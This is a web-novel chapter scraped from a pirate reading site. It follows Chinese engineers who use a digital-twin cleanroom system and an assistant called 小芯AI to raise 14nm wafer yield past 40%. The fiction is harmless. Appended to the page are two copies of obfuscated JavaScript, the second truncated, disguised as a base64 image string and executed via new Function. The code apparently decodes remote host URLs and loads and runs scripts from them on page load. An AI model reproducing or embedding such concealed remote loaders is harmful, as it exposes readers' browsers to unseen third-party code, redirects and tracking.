首页
第224章 良率首次突破40
返回
关灯 护眼:关 字号:小

第224章 良率首次突破40%

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge543.com,更新快,无弹窗!

    第一天,系统部署
    六块大屏幕实时显示着「洁净室数字孪生系统」的运行状态:左侧是三维流场预测图,红黄绿三色区域不断变化;中间是晶圆传输路径的实时监控,十二个关键节点闪烁着小芯AI的风险评估标签;右侧则是系统日志,一行行文字快速滚动。
    张京京站在控制台前,眼睛布满血丝,却闪着光。他手里握着最新一批晶圆的流片计划表,这是系统上线后的第一份生产计划,经过了AI的严格风险评估。
    「首批二十四片,分为三组。」他对着通讯器说,声音在寂静的控制室里格外清晰,「第一组八片,安排在上午九点到十一点,这是传统的高风险时段,我们要测试系统在最恶劣条件下的防护能力;第二组八片,安排在下午两点到四点,同样是高风险时段;第三组八片,安排在晚上十点到凌晨两点,这是传统意义上的低风险时段,作为对照组。」
    林薇的声音从扬声器传来:「系统预测显示,今天上午九点二十三分,3号刻蚀机上方会形成粒子驻留区,持续时间约十八分钟。我们建议第一组晶圆在九点四十分之后再进入该区域,或者开启主动防护。」
    GOOGLE搜索TWKAN
    「选择开启主动防护。」张京京做出决定,「我们要测试系统在污染高峰期的真实拦截能力。」
    「明白。启动3号区域微型过滤阵列,功率调至70%;调整天花板C区气流角度,形成向下气幕;同时建议将晶圆传输速度降低15%,减少扰动。」林薇快速下达指令。
    屏幕上,代表防护措施的图标一个个亮起绿色。监控数据显示,3号区域的实时粒子浓度开始下降,从每立方厘米82个降到31个。
    上午九点二十三分,预测的粒子聚集准时出现,但在多重防护下,经过该区域的晶圆表面监测到的粒子沉积数,比未防护的历史同期降低了73%。
    第一组晶圆顺利通过所有关键工序。
    第三天,初步数据
    下午两点,中央研究院的数据分析中心,三十多位工程师围在大屏前。
    屏幕上显示着系统上线前三天的流片数据对比:
    系统上线前(最后一周平均值)
    每日流片量:24片
    预检测筛除率:42.3%
    最终电性测试良率:37.9%
    随机缺陷导致的失效占比:68.2%
    系统上线后(三天平均值)
    每日流片量:18片(因风险评估筛除部分高风险批次)
    预检测筛除率:28.7%
    最终电性测试良率:39.2%
    随机缺陷导致的失效占比:51.4%
    「良率提升了1.3个百分点。」金秉洙博士读出关键数据,「随机缺陷占比下降了近17个百分点。这说明系统确实有效。」
    「但流片量下降了25%。」梁志远指出,「因为系统筛掉了太多『高风险』批次,我们实际获得的有效实验晶圆数量反而减少了。」
    「这是必要的代价。」林薇解释道,「在系统预测准确率还不够高的情况下,保守策略能保证我们获得的每一片实验数据都是高质量的。低质量的数据不仅没用,还会误导工艺优化方向。」
    「但时间呢?」有人小声质疑,「我们现在每天只有18片有效数据,而之前有24片,数据积累速度慢了四分之一。」
    这个问题戳中了所有人的痛处。倒计时已经跳到92天,时间正在一分一秒地流逝。
    张京京沉思片刻:「我建议调整策略。从明天起,将晶圆分为A丶B两类:A类是高风险批次,但我们可以尝试在开启主动防护的情况下进行流片,作为系统极限能力的测试;B类是低风险批次,作为正常的工艺验证。这样既能保证数据质量,又能提高数据量。」
    「风险很大。」林薇提醒,「如果A类批次大量失败,会浪费宝贵的时间和材料。」
    「但如果我们永远不敢测试系统的极限,就永远不知道它的真实能力边界。」张京京坚持,「而且,我们需要知道在什麽条件下,系统会失效,这本身就是宝贵的数据。」
    陈醒的声音从视频会议系统传来:「我同意京京的方案。技术攻关不能只求稳,该冒险的时候要敢于冒险。但要做好风险控制:A类批次的数量控制在每天四片以内,一旦连续两片出现严重缺陷,立即暂停该模式。」
    第七天,发现新问题
    一周过去了,系统运行平稳,但良率爬升的速度开始放缓:第一天39.2%,第三天39.5%,第五天39.8%,第七天……39.9%。
    在40%这个心理关口前,曲线又出现了平台期。
    更让人困惑的是,分析团队发现了一个新现象:同一批晶圆,在相同环境下,随机缺陷的分布出现了明显的「位置偏好性」,总是集中在晶圆的特定区域,比如边缘区或者某个扇形区域。
    「这不可能是环境粒子污染导致的。」林薇在分析会上断言,「环境粒子应该是随机分布的,不应该有如此明显的空间规律性。」
    「除非……」赵静调出小芯AI的分析报告,「除非污染源不是环境,而是工艺本身。比如,某个设备的某个部件,在特定条件下会周期性释放污染物,而这个周期与晶圆位置有关。」
    团队立即展开排查。经过三天三夜的数据挖掘和实物检查,他们发现了一个令人震惊的事实:4号清洗机的喷淋臂内部,有一段长约十五厘米的管路内壁出现了微观腐蚀。腐蚀产物中含有微量的铜离子,在清洗液高速流动时会周期性脱落,形成纳米级的含铜颗粒。
    而这些颗粒,在后续的旋转乾燥过程中,会因为离心力被甩到晶圆的特定位置,正是那些「偏好性缺陷」出现的区域。
    「问题找到了!」梁志远兴奋地汇报,「我们更换了那段管路,重新测试,偏好性缺陷消失了!」
    「但这解释不了所有问题。」张京京冷静地指出,「偏好性缺陷只占随机缺陷总数的35%,还有65%是真正的随机缺陷。」
    「但至少我们解决了一部分。」金秉洙说,「而且更重要的是,这个发现证明了一件事:我们的监测和诊断能力已经提升到了新的水平。放在三周前,我们根本不可能发现这种微观尺度的周期性污染。」
    倒计时:85天12小时。
    第十四天,突破前夜
    系统上线整整两周。这一天的生产总结会上,气氛有些微妙。
    「今日流片二十片,预检测筛除率21.5%,最终电性测试良率……」负责汇报的工程师停顿了一下,「39.97%。」
    四舍五入,就是40%。但就是这0.03个百分点的差距,让数字依然停留在30%的区间。
    「我们已经连续四天在39.9%到40.0%之间徘徊了。」有人叹气,「就像有什麽无形的天花板在压着我们。」
    林薇盯着数据曲线,突然问:「你们有没有发现一个规律?每天下午三点左右,良率数据会有一个微小但稳定的跃升;而每天上午十点左右,会有一个微小的下降。」
    她调出分时段数据对比图,果然,下午时段的平均良率是40.15%,上午时段是39.82%。
    「这意味着什麽?」张京京问。
    「意味着我们的系统可能过度优化了。」林薇快速分析,「下午三点,通常是室外温度最高丶空调系统负荷最大的时候,环境扰动也最大。按照传统思维,这应该是污染风险最高的时段。但数据显示,这个时段的良率反而更高。」
    「因为我们的主动防护系统在这个时段开启了最强模式。」赵静明白了,「而在上午时段,环境相对稳定,系统可能降低了防护等级,反而让一些漏网之鱼钻了空子。」
    「所以我们要调整策略?」张京京问。
    「不。」林薇摇头,「我们要更大胆。既然下午时段在最强防护下能达到40.15%的良率,那麽如果我们把全天都调整到『最强防护模式』,理论良率应该能稳定突破40%。」
    「但能耗和成本会大幅增加。」设备主管提醒,「微型过滤阵列满功率运行,寿命会缩短30%;气流系统持续调整,故障率可能上升;而且有些防护措施会轻微影响工艺稳定性,比如降低传输速度会影响热预算。」
    「和良率提升相比,这些成本都是次要的。」张京京果断决定,「明天开始,全天开启最强防护模式。我们要用尽全力,把良率推过40%这个坎。」
    第十五天,历史性时刻
    上午十一点,第三批晶圆进入电性测试。
    控制室里挤满了人,不只是技术团队,连行政丶财务丶甚至安保部门都有人悄悄站在门口。所有人都知道今天意味着什麽,如果成功,这将是14nm自主化进程中的第一个实质性里程碑;如果失败,团队的士气可能遭受沉重打击。
    张京京坐在控制台前,表面平静,但握着滑鼠的手心全是汗。屏幕上,测试数据正在一行行刷新:
    晶圆01:通过/失效/通过/通过/失效……
    晶圆02:通过/通过/通过/通过/通过……
    晶圆03:通过/失效/通过/失效/通过……
    每一行数据的刷新,都牵动着所有人的心跳。
    十二点十七分,所有八片晶圆的初步测试完成。系统自动计算出良率,但需要人工确认。负责数据分析的工程师深吸一口气,点击了「生成报告」。
    屏幕短暂黑屏,然后弹出一行数字:
    批次C-0415良率:40.23%
    寂静。长达三秒钟的绝对寂静。
    然后,欢呼声爆发了。有人跳起来,有人拥抱,有人摘下眼镜擦拭眼角。压抑了三周多的情绪,在这一刻彻底释放。
    张京京坐在椅子上,一动不动。他看着那个数字,看了很久很久。直到林薇走到他身边,轻轻拍了拍他的肩膀。
    「我们做到了。」林薇的声音有些哽咽。
    「只是第一步。」张京京说,但嘴角终于扬起一丝笑意,「距离75%还有很长的路。」
    「但至少证明路是通的。」
    消息迅速传遍整个集团。陈醒正在和欧洲客户进行视频谈判,收到消息后,他中断会议五分钟,给张京京发了三个字:「辛苦了。」
    简单的三个字,却让这位经历过无数技术攻坚的老工程师眼眶发热。
    下午,庆祝活动被控制在最小范围,每人一杯咖啡,一份小蛋糕。因为所有人都知道,真正的战斗才刚刚开始。40%到75%,还有35个百分点的差距,而时间只剩下85天。
    但无论如何,他们终于打破了那个无形的天花板。
    当晚,数据深度分析
    深夜十一点,核心团队再次聚集在数据分析中心。庆祝的喜悦已经沉淀,现在需要冷静地分析:为什麽是40.23%?这个数字背后的技术含义是什麽?
    小芯AI生成了一份长达八十七页的深度分析报告。核心结论有三点:
    第一,最强防护模式将环境粒子导致的随机缺陷降低了61%,这是良率突破40%的主要贡献。
    第二,工艺本身的固有缺陷(如图形转移精度丶薄膜均匀性等)仍然是主要瓶颈,占比上升到58%。
    第三,数据分析发现了一百二十一个「潜在工艺缺陷点」,这些点目前还没有表现出明显的失效特徵,但在特定条件下可能成为新的瓶颈。
    「一百二十一个……」张京京看着清单,「如果一个个排查,需要多少时间?」
    「按照传统方法,每个点至少需要三天实验验证,总共需要三百六十三天。」林薇计算,「但我们没有那麽多时间。」
    「所以需要小芯AI的辅助。」赵静调出AI的优化方案,「我们可以用主动学习算法,让AI设计最高效的实验矩阵,并行验证多个缺陷点,同时利用数字孪生系统进行虚拟实验筛选,把实际流片验证的数量压缩到三分之一以内。」
    「即使如此,也需要至少四十天。」张京京皱眉,「而我们要在八十五天内完成剩下的三十五个百分点的提升。」
    压力重新袭来。刚突破的喜悦,很快被更严峻的挑战冲淡。
    就在这时,陈醒发来会议邀请。视频接通后,他没有谈今天的突破,而是直接调出了一份全新的概念图纸。
    「各位,我有一个问题。」陈醒的声音平静而有力,「我们现在为了把良率从40%提升到75%,需要在现有产线上投入巨大资源,解决一百二十一个工艺缺陷,还要和环境粒子做持续斗争。但即使做到了,这条产线的设计极限可能就在80%左右,因为它的物理基础决定了天花板。」
    他顿了顿,放大图纸:「所以我在想,也许我们应该换个思路。不是继续在现有的房子里修修补补,而是……盖一栋全新的房子。」
    屏幕上,出现了一个全新的设计方案,标题写着三个字:
    无尘岛
    所有人都愣住了。他们刚刚为突破40%而欢呼,而陈醒已经在思考彻底颠覆现有的一切。
    「这个方案,我们明天详细讨论。」陈醒说,「但今晚,我希望大家先思考一个问题:如果给你们一个机会,重新设计一条完全没有历史包袱的14纳米产线,你们会怎麽做?什麽样的洁净环境,才能从根本上解决粒子污染问题?什麽样的设备布局,才能最大化工艺稳定性?什麽样的制造理念,才能让我们在下一轮技术竞争中占据主动?」
    他关闭视频,留下一个开放的问题,和一张充满想像力的概念图。
    控制室里,工程师们面面相觑。他们刚刚打了一场艰苦的胜仗,还没来得及喘息,就要面对一个更宏大丶更激进的挑战。
    但有些人眼中,已经开始闪烁起光芒。
    那是技术人面对真正创新时,特有的兴奋和渴望。
    张京京看向林薇,发现她也正看着自己。两人同时点了点头。
    也许,真正的突破,确实需要一些颠覆性的思考。
    而窗外的夜色中,倒计时数字依然在跳动:85天03小时19分钟。
    时间不等人。但今晚,他们至少可以暂时放下焦虑,享受片刻胜利的滋味。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF 